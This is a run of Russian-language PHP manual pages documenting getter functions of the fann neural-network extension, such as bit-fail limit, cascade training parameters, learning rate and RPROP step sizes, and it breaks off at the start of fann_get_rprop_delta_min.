fann_get_bias_array

(PECL fann >= 1.0.0)

fann_get_bias_array — Получает количество смещений в каждом слое в сети

Описание

fann_get_bias_array(resource $ann): array

Получает количество смещений в каждом слое в сети.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Массив чисел смещения в каждом слое

User Contributed Notes

There are no user contributed notes for this page.


Возвращает предел сбоя битов, использованный во время обучения

  • « fann_get_bias_array
  • fann_get_bit_fail »
  • PHP Manual
  • Функции Fann
  • Возвращает предел сбоя битов, использованный во время обучения

fann_get_bit_fail_limit

(PECL fann >= 1.0.0)

fann_get_bit_fail_limit — Возвращает предел сбоя битов, использованный во время обучения

Описание

fann_get_bit_fail_limit(resource $ann): float

Возвращает предел сбоя битов, использованный во время обучения.

Предел сбоя битов используется во время обучения, когда функция остановки имеет значение FANN_STOPFUNC_BIT.

Предел - это максимально допустимая разница между желаемым результатом и фактическим результатом во время тренировки. Каждый выход, который расходится больше этого предела, считается как бит со сбоем. Эта разница делится на два при работе с симметричными функциями активации, так что симметричные и не симметричные функции активации могут использовать один и тот же предел.

Предельное значение сбоя по умолчанию составляет 0,35.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Предел сбоя битов или false в случае возникновения ошибки.

Смотрите также

  • fann_set_bit_fail_limit() - Устанавливает предел ошибок, используемый во время обучения

User Contributed Notes

There are no user contributed notes for this page.


Количество битов сбоя

  • « fann_get_bit_fail_limit
  • fann_get_cascade_activation_functions_count »
  • PHP Manual
  • Функции Fann
  • Количество битов сбоя

fann_get_bit_fail

(PECL fann >= 1.0.0)

fann_get_bit_fail — Количество битов сбоя

Описание

fann_get_bit_fail(resource $ann): int

Количество битов сбоя; означает число выходных нейронов, которые отличаются больше, чем предел сбоя битов (смотрите fann_get_bit_fail_limit(), fann_set_bit_fail_limit()). Биты учитываются во всех обучающих данных, поэтому это число может быть больше количества обучающих данных.

Это значение сбрасывается fann_reset_MSE() и обновляется всеми теми же функциями, которые также обновляют значение MSE (например, fann_test_data(), fann_train_epoch())

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Количество битов сбоя или false в случае возникновения ошибки.

Смотрите также

  • fann_get_MSE() - Считывает среднеквадратичную ошибку сети
  • fann_reset_MSE() - Сбрасывает среднеквадратичную ошибку из сети
  • fann_test_data() - Тестирование набора обучающих данных и вычисление MSE для него
  • fann_train_epoch() - Обучение в течение одной эпохи
  • fann_get_bit_fail_limit() - Возвращает предел сбоя битов, использованный во время обучения
  • fann_set_bit_fail_limit() - Устанавливает предел ошибок, используемый во время обучения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество функций каскадной активации

  • « fann_get_bit_fail
  • fann_get_cascade_activation_functions »
  • PHP Manual
  • Функции Fann
  • Возвращает количество функций каскадной активации

fann_get_cascade_activation_functions_count

(PECL fann >= 1.0.0)

fann_get_cascade_activation_functions_count — Возвращает количество функций каскадной активации

Описание

fann_get_cascade_activation_functions_count(resource $ann): int

Количество функций активации в массиве fann_get_cascade_activation_functions().

Количество функций активации по умолчанию - 6.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Количество функций каскадной активации или false в случае возникновения ошибки.

Смотрите также

  • fann_get_cascade_activation_functions() - Возвращает функции каскадной активации
  • fann_set_cascade_activation_functions() - Устанавливает массив каскадных функций активации кандидатов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает функции каскадной активации

  • « fann_get_cascade_activation_functions_count
  • fann_get_cascade_activation_steepnesses_count »
  • PHP Manual
  • Функции Fann
  • Возвращает функции каскадной активации

fann_get_cascade_activation_functions

(PECL fann >= 1.0.0)

fann_get_cascade_activation_functions — Возвращает функции каскадной активации

Описание

fann_get_cascade_activation_functions(resource $ann): array

Массив функций каскадной активации - это массив различных функций активации, используемых кандидатами.

Смотрите fann_get_cascade_num_candidates() для описания того, какие нейроны кандидата будут генерироваться этим массивом.

Функции активации по умолчанию: FANN_SIGMOID, FANN_SIGMOID_SYMMETRIC, FANN_GAUSSIAN, FANN_GAUSSIAN_SYMMETRIC, FANN_ELLIOT, FANN_ELLIOT_SYMMETRIC.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Функции каскадной активации или false в случае возникновения ошибки.

Смотрите также

  • fann_get_cascade_activation_functions_count() - Возвращает количество функций каскадной активации
  • fann_set_cascade_activation_functions() - Устанавливает массив каскадных функций активации кандидатов

User Contributed Notes

There are no user contributed notes for this page.


Количество крутизны активации

  • « fann_get_cascade_activation_functions
  • fann_get_cascade_activation_steepnesses »
  • PHP Manual
  • Функции Fann
  • Количество крутизны активации

fann_get_cascade_activation_steepnesses_count

(PECL fann >= 1.0.0)

fann_get_cascade_activation_steepnesses_count — Количество крутизны активации

Описание

fann_get_cascade_activation_steepnesses_count(resource $ann): int

Количество крутизны активации в массиве fann_get_cascade_activation_functions().

Количество крутизны активации по умолчанию - 4.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Количество крутизны активации или false в случае возникновения ошибки.

Смотрите также

  • fann_get_cascade_activation_steepnesses() - Возвращает крутизну каскадной активации
  • fann_set_cascade_activation_functions() - Устанавливает массив каскадных функций активации кандидатов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает крутизну каскадной активации

  • « fann_get_cascade_activation_steepnesses_count
  • fann_get_cascade_candidate_change_fraction »
  • PHP Manual
  • Функции Fann
  • Возвращает крутизну каскадной активации

fann_get_cascade_activation_steepnesses

(PECL fann >= 1.0.0)

fann_get_cascade_activation_steepnesses — Возвращает крутизну каскадной активации

Описание

fann_get_cascade_activation_steepnesses(resource $ann): array

Массив крутизны каскадной активации - это массив различных функций активации, используемых кандидатами.

Смотрите fann_get_cascade_num_candidates() для описания того, какие кандидатные нейроны будут генерироваться этим массивом.

Крутизна активации по умолчанию: {0,25, 0,50, 0,75, 1,00}.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Крутизна каскадной активации или false в случае возникновения ошибки.

Смотрите также

  • fann_get_cascade_activation_steepnesses_count() - Количество крутизны активации
  • fann_set_cascade_activation_steepnesses() - Устанавливает массив крутизны включения кандидатов в каскад

User Contributed Notes

There are no user contributed notes for this page.


Возвращает долю изменения каскада кандидата

  • « fann_get_cascade_activation_steepnesses
  • fann_get_cascade_candidate_limit »
  • PHP Manual
  • Функции Fann
  • Возвращает долю изменения каскада кандидата

fann_get_cascade_candidate_change_fraction

(PECL fann >= 1.0.0)

fann_get_cascade_candidate_change_fraction — Возвращает долю изменения каскада кандидата

Описание

fann_get_cascade_candidate_change_fraction(resource $ann): float

Доля изменения каскада кандидата - это число от 0 до 1, определяющее, насколько велико значение fann_get_MSE(), которое должно измениться в пределах fann_get_cascade_candidate_stagnation_epochs() во время обучения нейронов-кандидатов, чтобы обучение не застаивалось. Если обучение застаивается, обучение нейронов-кандидатов прекращается и выбирается лучший кандидат.

Это означает, что если MSE не изменяется на долю fann_get_cascade_candidate_change_fraction() в течение периода fann_get_cascade_candidate_stagnation_epochs(), обучение нейронов-кандидатов прекращается, потому что обучение застопорилось.

Если доля изменения каскада кандидатов мала, нейроны-кандидаты будут обучаться больше, а если доля высокая, они будут обучаться меньше.

Доля изменения каскада кандидата по умолчанию составляет 0.01, что эквивалентно изменению MSE на 1%.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Доля изменения каскада кандидата или false в случае возникновения ошибки.

Смотрите также

  • fann_set_cascade_candidate_change_fraction() - Устанавливает долю каскадного изменения кандидата
  • fann_get_MSE() - Считывает среднеквадратичную ошибку сети
  • fann_get_cascade_candidate_stagnation_epochs() - Возвращает количество периодов застоя каскада кандидата

User Contributed Notes

There are no user contributed notes for this page.


Возвращает предел кандидата

  • « fann_get_cascade_candidate_change_fraction
  • fann_get_cascade_candidate_stagnation_epochs »
  • PHP Manual
  • Функции Fann
  • Возвращает предел кандидата

fann_get_cascade_candidate_limit

(PECL fann >= 1.0.0)

fann_get_cascade_candidate_limit — Возвращает предел кандидата

Описание

fann_get_cascade_candidate_limit(resource $ann): float

Предел кандидата - это предел того, сколько нейронов кандидата может быть обучено. Ограничение - это ограничение на соотношение между MSE и баллом кандидата.

Устанавливает это на более низкое значение, чтобы избежать переоснащения, и на более высокое, если переоснащение не является проблемой.

Предельное число кандидатов по умолчанию составляет 1000.0.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Предел кандидата или false в случае возникновения ошибки.

Смотрите также

  • fann_set_cascade_candidate_limit() - Устанавливает лимит кандидатов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество периодов застоя каскада кандидата

  • « fann_get_cascade_candidate_limit
  • fann_get_cascade_max_cand_epochs »
  • PHP Manual
  • Функции Fann
  • Возвращает количество периодов застоя каскада кандидата

fann_get_cascade_candidate_stagnation_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_candidate_stagnation_epochs — Возвращает количество периодов застоя каскада кандидата

Описание

fann_get_cascade_candidate_stagnation_epochs(resource $ann): int

Количество периодов застоя каскада кандидата определяет количество периодов, которым разрешено продолжить обучение без изменения MSE на долю fann_get_cascade_candidate_change_fraction().

Смотрите дополнительную информацию об этом параметре в fann_get_cascade_candidate_change_fraction().

По умолчанию количество периодов застоя каскада кандидата равно 12.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Количество периодов застоя каскада кандидата или false в случае возникновения ошибки.

Смотрите также

  • fann_set_cascade_candidate_stagnation_epochs() - Устанавливает количество каскадных периодов застоя кандидатов
  • fann_get_cascade_candidate_change_fraction() - Возвращает долю изменения каскада кандидата

User Contributed Notes

There are no user contributed notes for this page.


Получает наибольший период кандидата

  • « fann_get_cascade_candidate_stagnation_epochs
  • fann_get_cascade_max_out_epochs »
  • PHP Manual
  • Функции Fann
  • Получает наибольший период кандидата

fann_get_cascade_max_cand_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_max_cand_epochs — Получает наибольший период кандидата

Описание

fann_get_cascade_max_cand_epochs(resource $ann): int

Максимальный период кандидата определяет максимальное количество периодов, в которых входные соединения с кандидатами могут быть обучены перед добавлением нового нейрона-кандидата.

Максимальный период кандидата по умолчанию - 150.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Максимальный период кандидата или false в случае возникновения ошибки.

Смотрите также

  • fann_set_cascade_max_cand_epochs() - Устанавливает наибольший период кандидата

User Contributed Notes

There are no user contributed notes for this page.


Возвращает максимальное количество периодов

  • « fann_get_cascade_max_cand_epochs
  • fann_get_cascade_min_cand_epochs »
  • PHP Manual
  • Функции Fann
  • Возвращает максимальное количество периодов

fann_get_cascade_max_out_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_max_out_epochs — Возвращает максимальное количество периодов

Описание

fann_get_cascade_max_out_epochs(resource $ann): int

Максимальное количество периодов определяет количество периодов, в которых выходные соединения могут быть обучены после добавления нового нейрона-кандидата.

Максимальное количество периодов равно 150.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Максимальное количество периодов или false в случае возникновения ошибки.

Смотрите также

  • fann_set_cascade_max_out_epochs() - Устанавливает максимальное количество эпох

User Contributed Notes

There are no user contributed notes for this page.


Получает наименьший период кандидата

  • « fann_get_cascade_max_out_epochs
  • fann_get_cascade_min_out_epochs »
  • PHP Manual
  • Функции Fann
  • Получает наименьший период кандидата

fann_get_cascade_min_cand_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_min_cand_epochs — Получает наименьший период кандидата

Описание

fann_get_cascade_min_cand_epochs(resource $ann): int

Минимальный период кандидата определяет минимальное количество периодов, в которых входные соединения с кандидатами могут быть обучены перед добавлением нового нейрона-кандидата.

Минимальный период кандидата по умолчанию - 50.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Минимальный период кандидата или false в случае возникновения ошибки.

Примечания

Замечание:

Функция доступна только в том случае, если модуль fann был собран для libfann >= 2.2.

Смотрите также

  • fann_set_cascade_min_cand_epochs() - Устанавливает наименьший период кандидата

User Contributed Notes

There are no user contributed notes for this page.


Возвращает минимальное количество периодов

  • « fann_get_cascade_min_cand_epochs
  • fann_get_cascade_num_candidate_groups »
  • PHP Manual
  • Функции Fann
  • Возвращает минимальное количество периодов

fann_get_cascade_min_out_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_min_out_epochs — Возвращает минимальное количество периодов

Описание

fann_get_cascade_min_out_epochs(resource $ann): int

Минимальное количество периодов определяет количество периодов, в которых выходные соединения должны быть обучены после добавления нового нейрона-кандидата.

Минимальное количество периодов по умолчанию - 50.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Минимальное количество периодов или false в случае возникновения ошибки.

Примечания

Замечание:

Функция доступна только в том случае, если модуль fann был собран для libfann >= 2.2.

Смотрите также

  • fann_set_cascade_min_out_epochs() - Устанавливает минимальные эпохи выходных данных

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество групп кандидатов

  • « fann_get_cascade_min_out_epochs
  • fann_get_cascade_num_candidates »
  • PHP Manual
  • Функции Fann
  • Возвращает количество групп кандидатов

fann_get_cascade_num_candidate_groups

(PECL fann >= 1.0.0)

fann_get_cascade_num_candidate_groups — Возвращает количество групп кандидатов

Описание

fann_get_cascade_num_candidate_groups(resource $ann): int

Количество групп кандидатов - это количество групп одинаковых кандидатов, которые будут использоваться во время обучения.

Количество можно использовать для увеличения числа кандидатов без необходимости определять новые параметры для кандидатов.

Смотрите fann_get_cascade_num_candidates() для описания того, какие нейроны-кандидаты будут сгенерированы этим параметром.

Количество групп кандидатов по умолчанию равно 2.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Количество групп кандидатов или false в случае возникновения ошибки.

Смотрите также

  • fann_set_cascade_num_candidate_groups() - Устанавливает количество групп кандидатов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество кандидатов, использованных во время обучения

  • « fann_get_cascade_num_candidate_groups
  • fann_get_cascade_output_change_fraction »
  • PHP Manual
  • Функции Fann
  • Возвращает количество кандидатов, использованных во время обучения

fann_get_cascade_num_candidates

(PECL fann >= 1.0.0)

fann_get_cascade_num_candidates — Возвращает количество кандидатов, использованных во время обучения

Описание

fann_get_cascade_num_candidates(resource $ann): int

Количество кандидатов, использованных во время обучения (рассчитывается путём перемножения
fann_get_cascade_activation_functions_count(),
fann_get_cascade_activation_steepnesses_count() и
fann_get_cascade_num_candidate_groups()).

Фактические кандидаты определяются массивами fann_get_cascade_activation_functions() и fann_get_cascade_activation_steepnesses(). Эти массивы определяют функции активации и крутизны активации, используемые для нейронов-кандидатов. Если есть 2 функции активации в массиве функций активации и 3 крутизны в массиве крутизны, тогда будет 2 x 3 = 6 различных кандидатов, которые будут обучены. Эти 6 разных кандидатов могут быть скопированы в несколько групп кандидатов, где единственное различие между этими группами - начальные веса. Если количество групп равно 2, то количество нейронов-кандидатов будет 2 x 3 x 2 = 12. Количество групп кандидатов определяется fann_set_cascade_num_candidate_groups().

Количество кандидатов по умолчанию - 6 x 4 x 2 = 48.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Количество кандидатов, использованных во время обучения или false в случае возникновения ошибки.

Смотрите также

  • fann_get_cascade_activation_functions() - Возвращает функции каскадной активации
  • fann_get_cascade_activation_functions_count() - Возвращает количество функций каскадной активации
  • fann_get_cascade_activation_steepnesses() - Возвращает крутизну каскадной активации
  • fann_get_cascade_activation_steepnesses_count() - Количество крутизны активации
  • fann_get_cascade_num_candidate_groups() - Возвращает количество групп кандидатов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает долю изменения выхода каскада

  • « fann_get_cascade_num_candidates
  • fann_get_cascade_output_stagnation_epochs »
  • PHP Manual
  • Функции Fann
  • Возвращает долю изменения выхода каскада

fann_get_cascade_output_change_fraction

(PECL fann >= 1.0.0)

fann_get_cascade_output_change_fraction — Возвращает долю изменения выхода каскада

Описание

fann_get_cascade_output_change_fraction(resource $ann): float

Доля изменения выхода каскада - это число от 0 до 1, определяющее, насколько большая часть значения fann_get_MSE() должна измениться в fann_get_cascade_output_stagnation_epochs() во время обучения выходных соединений, чтобы обучение, чтобы не застаивалось. Если обучение застопорится, обучение выходных соединений будет прекращено и будут подготовлены новые кандидаты.

Это означает, что если MSE не изменяется на долю fann_get_cascade_output_change_fraction() в течение периода fann_get_cascade_output_stagnation_epochs(), обучение выходных соединений прекратится, потому что обучение застопорилось.

Если доля изменения выхода каскада мала, выходные соединения будут обучаться больше, а если доля высокая, они будут обучаться меньше.

Доля изменения выхода каскада по умолчанию составляет 0.01, что эквивалентно изменению MSE на 1%.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Доля изменения выхода каскада или false в случае возникновения ошибки.

Смотрите также

  • fann_set_cascade_output_change_fraction() - Устанавливает долю изменения каскадных выходных данных
  • fann_get_MSE() - Считывает среднеквадратичную ошибку сети
  • fann_get_cascade_output_stagnation_epochs() - Возвращает количество каскадных периодов застоя кандидатов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество каскадных периодов застоя кандидатов

  • « fann_get_cascade_output_change_fraction
  • fann_get_cascade_weight_multiplier »
  • PHP Manual
  • Функции Fann
  • Возвращает количество каскадных периодов застоя кандидатов

fann_get_cascade_output_stagnation_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_output_stagnation_epochs — Возвращает количество каскадных периодов застоя кандидатов

Описание

fann_get_cascade_output_stagnation_epochs(resource $ann): int

Количество каскадных периодов застоя кандидатов определяет количество периодов обучения, которое будет продолжено без изменения оценки MSE с помощью fann_get_cascade_output_change_fraction().

Смотрите дополнительную информацию об этом параметре в fann_get_cascade_output_change_fraction().

По умолчанию количество периодов застоя каскадного вывода равно 12.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Количество каскадных периодов застоя кандидатов или false в случае возникновения ошибки.

Смотрите также

  • fann_set_cascade_output_stagnation_epochs() - Устанавливает количество периодов стагнации каскадного вывода
  • fann_get_cascade_output_change_fraction() - Возвращает долю изменения выхода каскада

User Contributed Notes

There are no user contributed notes for this page.


Возвращает множитель веса

  • « fann_get_cascade_output_stagnation_epochs
  • fann_get_connection_array »
  • PHP Manual
  • Функции Fann
  • Возвращает множитель веса

fann_get_cascade_weight_multiplier

(PECL fann >= 1.0.0)

fann_get_cascade_weight_multiplier — Возвращает множитель веса

Описание

fann_get_cascade_weight_multiplier(resource $ann): float

Множитель веса - это параметр, который используется для умножения веса нейрона-кандидата перед добавлением нейрона в нейронную сеть. Этот параметр обычно находится в диапазоне от 0 до 1 и используется, чтобы сделать тренировку менее агрессивной.

Множитель веса по умолчанию равен 0.4.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Множитель веса или false в случае возникновения ошибки.

Смотрите также

  • fann_set_cascade_weight_multiplier() - Устанавливает множитель веса

User Contributed Notes

There are no user contributed notes for this page.


Получает соединения в сети

  • « fann_get_cascade_weight_multiplier
  • fann_get_connection_rate »
  • PHP Manual
  • Функции Fann
  • Получает соединения в сети

fann_get_connection_array

(PECL fann >= 1.0.0)

fann_get_connection_array — Получает соединения в сети

Описание

fann_get_connection_array(resource $ann): array

Получает соединения в сети.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Массив соединений в сети.

User Contributed Notes

There are no user contributed notes for this page.


Получает скорость соединения, используемую при создании сети

  • « fann_get_connection_array
  • fann_get_errno »
  • PHP Manual
  • Функции Fann
  • Получает скорость соединения, используемую при создании сети

fann_get_connection_rate

(PECL fann >= 1.0.0)

fann_get_connection_rate — Получает скорость соединения, используемую при создании сети

Описание

fann_get_connection_rate(resource $ann): float

Получает скорость соединения, используемую при создании сети.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Скорость соединения, использованная при создании сети или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последний номер ошибки

  • « fann_get_connection_rate
  • fann_get_errstr »
  • PHP Manual
  • Функции Fann
  • Возвращает последний номер ошибки

fann_get_errno

(PECL fann >= 1.0.0)

fann_get_errno — Возвращает последний номер ошибки

Описание

fann_get_errno(resource $errdat): int

Возвращает последний номер ошибки.

Список параметров

errdat

Или ресурс (resource) нейронной сети, или ресурс (resource) обучающих данных нейронной сети.

Возвращаемые значения

Номер ошибки или false в случае возникновения ошибки.

Смотрите также

  • fann_reset_errno() - Сбрасывает номер последней ошибки
  • fann_get_errstr() - Возвращает последнюю строку ошибки

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последнюю строку ошибки

  • « fann_get_errno
  • fann_get_layer_array »
  • PHP Manual
  • Функции Fann
  • Возвращает последнюю строку ошибки

fann_get_errstr

(PECL fann >= 1.0.0)

fann_get_errstr — Возвращает последнюю строку ошибки

Описание

fann_get_errstr(resource $errdat): string

Возвращает последнюю строку ошибки.

Список параметров

errdat

Или ресурс (resource) нейронной сети, или ресурс (resource) обучающих данных нейронной сети.

Возвращаемые значения

Последняя строка ошибки или false в случае возникновения ошибки.

Смотрите также

  • fann_reset_errstr() - Сбрасывает последнюю строку ошибки
  • fann_get_errno() - Возвращает последний номер ошибки

User Contributed Notes

There are no user contributed notes for this page.


Получает количество нейронов в каждом слое сети

  • « fann_get_errstr
  • fann_get_learning_momentum »
  • PHP Manual
  • Функции Fann
  • Получает количество нейронов в каждом слое сети

fann_get_layer_array

(PECL fann >= 1.0.0)

fann_get_layer_array — Получает количество нейронов в каждом слое сети

Описание

fann_get_layer_array(resource $ann): array

Получает количество нейронов в каждом слое сети.

Смещение не включено, поэтому слои соответствуют функциям fann_create.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Массив чисел нейтронов в каждом слое.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает импульс обучения

  • « fann_get_layer_array
  • fann_get_learning_rate »
  • PHP Manual
  • Функции Fann
  • Возвращает импульс обучения

fann_get_learning_momentum

(PECL fann >= 1.0.0)

fann_get_learning_momentum — Возвращает импульс обучения

Описание

fann_get_learning_momentum(resource $ann): float

Импульс обучения можно использовать для ускорения обучения FANN_TRAIN_INCREMENTAL. Однако слишком высокий импульс не принесёт пользы тренировкам. Установка импульса на 0 будет равносильна отключению параметра импульса. Рекомендуемое значение этого параметра составляет от 0.0 до 1.0.

Импульс по умолчанию равен 0.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Импульс обучения или false в случае возникновения ошибки.

Смотрите также

  • fann_set_learning_momentum() - Устанавливает импульс обучения
  • fann_set_training_algorithm() - Устанавливает алгоритм обучения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает скорость обучения

  • « fann_get_learning_momentum
  • fann_get_MSE »
  • PHP Manual
  • Функции Fann
  • Возвращает скорость обучения

fann_get_learning_rate

(PECL fann >= 1.0.0)

fann_get_learning_rate — Возвращает скорость обучения

Описание

fann_get_learning_rate(resource $ann): float

Скорость обучения используется для определения того, насколько агрессивным должно быть обучение для некоторых алгоритмов обучения (FANN_TRAIN_INCREMENTAL, FANN_TRAIN_BATCH, FANN_TRAIN_QUICKPROP). Однако обратите внимание, что она не используется в FANN_TRAIN_RPROP.

Скорость обучения по умолчанию равна 0.7.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Скорость обучения или false в случае возникновения ошибки.

Смотрите также

  • fann_set_learning_rate() - Устанавливает скорость обучения
  • fann_set_training_algorithm() - Устанавливает алгоритм обучения

User Contributed Notes

There are no user contributed notes for this page.


Считывает среднеквадратичную ошибку сети

  • « fann_get_learning_rate
  • fann_get_network_type »
  • PHP Manual
  • Функции Fann
  • Считывает среднеквадратичную ошибку сети

fann_get_MSE

(PECL fann >= 1.0.0)

fann_get_MSE — Считывает среднеквадратичную ошибку сети

Описание

fann_get_MSE(resource $ann): float

Считывает среднеквадратичную ошибку сети.

Считывает среднеквадратичную ошибку сети. Это значение вычисляется во время обучения или тестирования и поэтому иногда может немного отличаться, если веса были изменены с момента последнего вычисления значения.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Среднеквадратичная ошибка или false в случае возникновения ошибки.

Смотрите также

  • fann_test_data() - Тестирование набора обучающих данных и вычисление MSE для него

User Contributed Notes

There are no user contributed notes for this page.


Получает тип нейронной сети

  • « fann_get_MSE
  • fann_get_num_input »
  • PHP Manual
  • Функции Fann
  • Получает тип нейронной сети

fann_get_network_type

(PECL fann >= 1.0.0)

fann_get_network_type — Получает тип нейронной сети

Описание

fann_get_network_type(resource $ann): int

Получает тип нейронной сети, в которой она была создана.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Константа типа сети или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получает количество входных нейронов

  • « fann_get_network_type
  • fann_get_num_layers »
  • PHP Manual
  • Функции Fann
  • Получает количество входных нейронов

fann_get_num_input

(PECL fann >= 1.0.0)

fann_get_num_input — Получает количество входных нейронов

Описание

fann_get_num_input(resource $ann): int

Получает количество входных нейронов.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Количество входных нейронов или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получает количество слоёв в нейронной сети

  • « fann_get_num_input
  • fann_get_num_output »
  • PHP Manual
  • Функции Fann
  • Получает количество слоёв в нейронной сети

fann_get_num_layers

(PECL fann >= 1.0.0)

fann_get_num_layers — Получает количество слоёв в нейронной сети

Описание

fann_get_num_layers(resource $ann): int

Получает количество слоёв в нейронной сети.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Количество слоёв в нейронной сети или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получает количество выходных нейронов

  • « fann_get_num_layers
  • fann_get_quickprop_decay »
  • PHP Manual
  • Функции Fann
  • Получает количество выходных нейронов

fann_get_num_output

(PECL fann >= 1.0.0)

fann_get_num_output — Получает количество выходных нейронов

Описание

fann_get_num_output(resource $ann): int

Получает количество выходных нейронов.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Количество выходных нейронов или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает снижение, которое является фактором, при котором веса должны уменьшаться на каждой итерации во время обучения quickprop

  • « fann_get_num_output
  • fann_get_quickprop_mu »
  • PHP Manual
  • Функции Fann
  • Возвращает снижение, которое является фактором, при котором веса должны уменьшаться на каждой итерации во время обучения quickprop

fann_get_quickprop_decay

(PECL fann >= 1.0.0)

fann_get_quickprop_decay — Возвращает снижение, которое является фактором, при котором веса должны уменьшаться на каждой итерации во время обучения quickprop

Описание

fann_get_quickprop_decay(resource $ann): float

Снижение - это небольшое число с отрицательными значениями, которое является фактором, по которому веса должны уменьшаться на каждой итерации во время обучения quickprop. Используется для того, чтобы во время обучения веса не становились слишком высокими.

The default decay is -0.0001.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Снижение или false в случае возникновения ошибки.

Смотрите также

  • fann_set_quickprop_decay() - Устанавливает коэффициент затухания quickprop

User Contributed Notes

There are no user contributed notes for this page.


Возвращает коэффициент mu

  • « fann_get_quickprop_decay
  • fann_get_rprop_decrease_factor »
  • PHP Manual
  • Функции Fann
  • Возвращает коэффициент mu

fann_get_quickprop_mu

(PECL fann >= 1.0.0)

fann_get_quickprop_mu — Возвращает коэффициент mu

Описание

fann_get_quickprop_mu(resource $ann): float

Коэффициент mu используется для увеличения и уменьшения размера шага во время быстрой тренировки. Коэффициент mu всегда должен быть больше 1, поскольку в противном случае размер шага уменьшится, когда предполагается его увеличить.

Коэффициент mu по умолчанию равен 1.75.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Коэффициент mu или false в случае возникновения ошибки.

Смотрите также

  • fann_set_quickprop_mu() - Устанавливает МЮ-фактор quickprop

User Contributed Notes

There are no user contributed notes for this page.


Возвращает коэффициент уменьшения, используемый во время обучения RPROP

  • « fann_get_quickprop_mu
  • fann_get_rprop_delta_max »
  • PHP Manual
  • Функции Fann
  • Возвращает коэффициент уменьшения, используемый во время обучения RPROP

fann_get_rprop_decrease_factor

(PECL fann >= 1.0.0)

fann_get_rprop_decrease_factor — Возвращает коэффициент уменьшения, используемый во время обучения RPROP

Описание

fann_get_rprop_decrease_factor(resource $ann): float

Коэффициент уменьшения - это значение меньше 1, которое используется для уменьшения размера шага во время обучения RPROP.

Коэффициент уменьшения по умолчанию составляет 0.5.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Коэффициент уменьшения или false в случае возникновения ошибки.

Смотрите также

  • fann_set_rprop_decrease_factor() - Устанавливает коэффициент уменьшения, используемый во время обучения RPROP

User Contributed Notes

There are no user contributed notes for this page.


Возвращает максимальный размер шага

  • « fann_get_rprop_decrease_factor
  • fann_get_rprop_delta_min »
  • PHP Manual
  • Функции Fann
  • Возвращает максимальный размер шага

fann_get_rprop_delta_max

(PECL fann >= 1.0.0)

fann_get_rprop_delta_max — Возвращает максимальный размер шага

Описание

fann_get_rprop_delta_max(resource $ann): float

Максимальный размер шага - это положительное число, определяющее, насколько большим может быть максимальный размер шага.

Максимальное значение дельты по умолчанию составляет 50.0.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Максимальный размер шага или false в случае возникновения ошибки.

Смотрите также

  • fann_set_rprop_delta_max() - Устанавливает максимальный размер шага
  • fann_get_rprop_delta_min() - Возвращает минимальный размер шага

User Contributed Notes

There are no user contributed notes for this page.


Возвращает минимальный размер шага

  • « fann_get_rprop_delta_max
  • fann_get_rprop_delta_zero »
  • PHP Manual
  • Функции Fann
  • Возвращает минимальный размер шага

fann_get_rprop_delta_min

(PECL fann >= 1.0.0)
